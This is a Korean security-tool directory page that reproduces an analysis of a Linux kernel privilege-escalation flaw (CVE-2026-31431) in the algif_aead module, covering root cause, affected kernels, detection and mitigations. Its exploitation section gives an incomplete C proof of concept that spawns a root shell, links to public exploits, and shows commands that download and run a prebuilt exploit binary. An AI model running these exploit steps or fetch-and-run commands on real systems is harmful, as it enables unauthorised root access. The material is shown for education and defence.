Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-31431-mitigacion — CVE-2026-31431에 대한 기술 분석: algif_aead 모듈의 Linux 커널 로컬 권한 상승 취약점으로, 근본 원인, 영향을 받는 버전, 익스플로잇 흐름 및 완화 전략을 포함합니다. | Kitploit
도구/GitHubGitHub/alvaroguzmancode/cve-2026-31431-mitigacion
Privilege EscalationVulnerability AnalysisExploitationLearning & Education
GitHubalvaroguzmancode/cve-2026-31431-mitigacion

CVE-2026-31431-mitigacion

CVE-2026-31431에 대한 기술 분석: algif_aead 모듈의 Linux 커널 로컬 권한 상승 취약점으로, 근본 원인, 영향을 받는 버전, 익스플로잇 흐름 및 완화 전략을 포함합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
13개월 전아직 검토되지 않음

CVE-2026-31431 — 전체 기술 분석

분류: 로컬 권한 상승 (LPE) — Linux 커널
CVSS: 7.8 (높음)
영향: 비특권 사용자 → root
영향을 받는 모듈: algif_aead (커널 AF_ALG 하위 시스템)


목차

  1. 왜 취약한가?
  2. 어떤 버전이 영향을 받는가?
  3. 악용 방법
  4. 완화 방법

1. 왜 취약한가?

AF_ALG 하위 시스템

Linux 커널은 AF_ALG라는 암호화 인터페이스를 사용자 공간에 노출합니다 (AF_ALG 소켓 패밀리). 이 인터페이스는 비특권 프로세스가 root 없이도 커널의 암호화 가속기를 사용할 수 있게 해줍니다 — 암호화, 해싱, 키 생성 등.

그 모듈 중 하나가 algif_aead 로, AES-GCM 또는 ChaCha20-Poly1305와 같은 알고리즘에서 사용되는 AEAD(Authenticated Encryption with Associated Data) 모드를 구현합니다.

근본적인 결함

버그는 algif_aead가 출력 버퍼가 예상보다 작을 때 sendmsg() + recvmsg() 작업을 처리하는 방식에 있습니다. 커널은 크기를 제대로 검증하지 않고 복사 작업(copy_to_user)을 실행하여 다음과 같은 문제를 일으킵니다:

root@kitploit:~
버퍼 오버플로 → 커널 메모리 경계를 벗어난 쓰기

기술적으로:

root@kitploit:~
algif_aead_copy_sgl()
  └─ sg_copy_to_buffer()
       └─ memcpy가 사용자가 부분적으로 제어하는 주소로 실행

이 write-out-of-bounds는 메모리에서 인접한 커널 제어 구조를 덮어쓸 수 있게 합니다 — 특히 함수 포인터나 cred 구조체 — 권한을 상승시키기 위해.

왜 root 없이 악용할 수 있는가?

AF_ALG는 비특권 사용자에게 제공되기 때문입니다. 모든 프로세스는 사전 인증 없이 AF_ALG 소켓을 열고 데이터를 보낼 수 있습니다. 이 익스플로잇은 보조 취약점이 필요하지 않습니다.

root@kitploit:~
// 시스템의 모든 사용자가 할 수 있는 작업
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

2. 어떤 버전이 영향을 받는가?

취약한 커널

커널 버전영향 여부
< 5.10아니요 (해당 형태의 모듈이 존재하지 않음)
5.10 — 6.1.x예 ⚠️
6.2.x예 ⚠️ (PoC 커널 포함)
6.3+ 패치 적용아니요 ✅

가장 노출된 배포판

커널 확인 방법

root@kitploit:~
# 커널 버전 확인
uname -r

# 취약한 모듈이 로드되었는지 확인
lsmod | grep algif_aead

# AF_ALG 사용 가능 여부 확인
cat /proc/net/protocols | grep ALG

취약한 출력 예시

root@kitploit:~
$ uname -r
6.2.0-20-generic

$ lsmod | grep algif_aead
algif_aead             20480  0
af_alg                 32768  3 algif_aead,algif_skcipher,algif_hash

⚠️ lsmod에서 algif_aead가 보이고 커널이 Ubuntu 23.04의 6.2.x라면, 노출된 상태입니다.


3. 악용 방법

⚠️ 윤리적 고지: 이 섹션은 순전히 교육 목적입니다. 명시적 허가 없이 시스템을 악용하는 것은 불법이며 처벌 대상입니다. 예제는 통제된 실험실 환경을 위해 작성되었습니다.

익스플로잇 흐름

root@kitploit:~
1. AF_ALG 소켓 열기 (algif_aead)
2. oversized 버퍼로 sendmsg() 전송
3. 더 작은 버퍼로 recvmsg() → 버그 트리거
4. 커널 힙에 OOB 쓰기
5. cred->uid/gid를 0으로 덮어쓰기
6. execve("/bin/sh") → root 셸

개념적 최소 익스플로잇 (C)

root@kitploit:~
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

int main(void) {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "gcm(aes)",
        .salg_feat   = 0,
        .salg_mask   = 0,
    };

    int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    // 16바이트 키 설정
    char key[16] = {0};
    setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);

    int op_fd = accept(fd, NULL, NULL);

    // 큰 버퍼 → OOB 쓰기 트리거
    char big_buf[4096] = {0};
    char small_buf[16] = {0};

    struct msghdr msg = {0};
    // ... ALG_OP_ENCRYPT cmsg로 msghdr 구성
    sendmsg(op_fd, &msg, 0);

    // 불충분한 버퍼로 recvmsg → 커널이 경계 밖에 쓰기
    recv(op_fd, small_buf, sizeof(small_buf), 0);

    // 익스플로잇이 성공했다면, 이제 root
    if (getuid() == 0) {
        printf("[+] 루트 획득!\n");
        execl("/bin/sh", "sh", NULL);
    }

    return 0;
}

이것은 단순화된 개요입니다. 실제 익스플로잇은 OOB 쓰기를 task_struct->cred 구조체와 정렬하기 위한 추가적인 힙 셰이핑 프리미티브가 필요합니다.

알려진 공개 PoC

다음 저장소에는 문서화된 기능 구현이 포함되어 있습니다:

  • copy-fail-c — 순수 C 익스플로잇, 컴파일 필요
    https://github.com/tgies/copy-fail-c

  • copy-fail-tiny-elf — 독립형 ELF 바이너리, 컴파일 불필요
    https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431

일반적인 사용법 (실험실)

root@kitploit:~
# copy-fail-c 클론 및 컴파일
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail

# 취약한 시스템에서 예상 결과:
# [*] algif_aead 모듈 확인 중...
# [*] 힙 스프레이 준비 중...
# [+] OOB 쓰기 성공
# [+] UID 현재: 0
# # whoami
# root

ELF 바이너리 사용 (컴파일 없이)

root@kitploit:~
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail

실제 공격 시나리오

root@kitploit:~
외부 공격자
      │
      ▼
웹 취약점 악용 (RCE) → www-data 접근
      │
      ▼
copyfail을 서버에 업로드 (wget/curl)
      │
      ▼
./copyfail 실행
      │
      ▼
서버에서 root 셸 ✓

www-data 접근부터 root까지 예상 시간: < 30초.


4. 완화 방법

최종 해결책 — 시스템 업데이트

유일한 실제 해결책은 패치가 적용된 커널을 사용하는 것입니다.

root@kitploit:~
# 옵션 1: Ubuntu 24.04 LTS로 업그레이드 (권장)
do-release-upgrade

# 옵션 2: 이미 Ubuntu 22.04 LTS를 사용 중인 경우
sudo apt update && sudo apt dist-upgrade
sudo reboot
# 패치된 커널 확인
uname -r   # Ubuntu 22.04에서는 ≥ 5.15.0-107이어야 함

즉각적인 완화 — 취약한 모듈 비활성화

지금 업데이트할 수 없다면 algif_aead를 비활성화하세요:

root@kitploit:~
# 모듈 블랙리스트 생성
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf

# 영구 적용을 위해 initramfs 재생성
sudo update-initramfs -u

# 재부팅
sudo reboot

비활성화 확인:

root@kitploit:~
lsmod | grep algif_aead
# 아무것도 표시되지 않아야 함

⚠️ 이는 AF_ALG를 통한 AEAD 암호화를 사용하는 소프트웨어를 손상시킬 수 있습니다 (표준 웹 서버에서는 드묾).


sysctl 완화 — 사용자 네임스페이스 제한

root@kitploit:~
# 비특권 사용자 네임스페이스 비활성화 (일부 Docker 기능 손상)
sudo sysctl -w kernel.unprivileged_userns_clone=0

# 영구 적용
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf

AppArmor 완화 — AF_ALG 차단

AF_ALG 접근을 거부하는 AppArmor 프로필 생성:

root@kitploit:~
# /etc/apparmor.d/local/restrict-af-alg
network af_alg,   # 특정 프로필에서 거부

웹 프로세스의 경우 (예: nginx/www-data):

root@kitploit:~
# www-data 또는 nginx의 AppArmor 프로필에 추가
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

영향 감소 — www-data 하드닝

권한 상승을 막지는 못하지만 초기 공격 표면을 줄입니다:

root@kitploit:~
# www-data에 sudo 권한이 없는지 확인
sudo grep www-data /etc/sudoers

# 불필요한 SUID 바이너리 제거
find / -perm -4000 2>/dev/null

# 접근 가능한 디렉토리 제한
chmod 700 /root
chmod 750 /home/*

완화 조치 요약 표


참고 자료

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • 수정 커널 커밋: 하위 시스템 crypto/algif_aead.c
  • PoC: https://github.com/tgies/copy-fail-c
  • PoC ELF: https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
  • 관련 Ubuntu 보안 공지: USN-XXXX-1

학술 목적으로 작성된 문서 — 시스템 관리 엔지니어, 2026

도구 다운로드
배포판일반적인 커널패치 여부
Ubuntu 23.04 (lunar)6.2.0❌ EOL — 패치 없음
Ubuntu 22.04 LTS5.15.x✅ 패치됨
Ubuntu 24.04 LTS6.8.x✅ 영향 없음
Debian 12 (Bookworm)6.1.x✅ 패치됨
Arch Linux (2026-03+)6.8.x✅ 영향 없음
완화 조치효과성서비스 영향영구적
Ubuntu 24.04로 업데이트✅ 완전최소예
algif_aead 블랙리스트✅ 높음매우 낮음예
unprivileged_userns_clone=0🟡 부분중간예
AppArmor AF_ALG 거부✅ 높음낮음예
www-data 하드닝🟡 감소없음예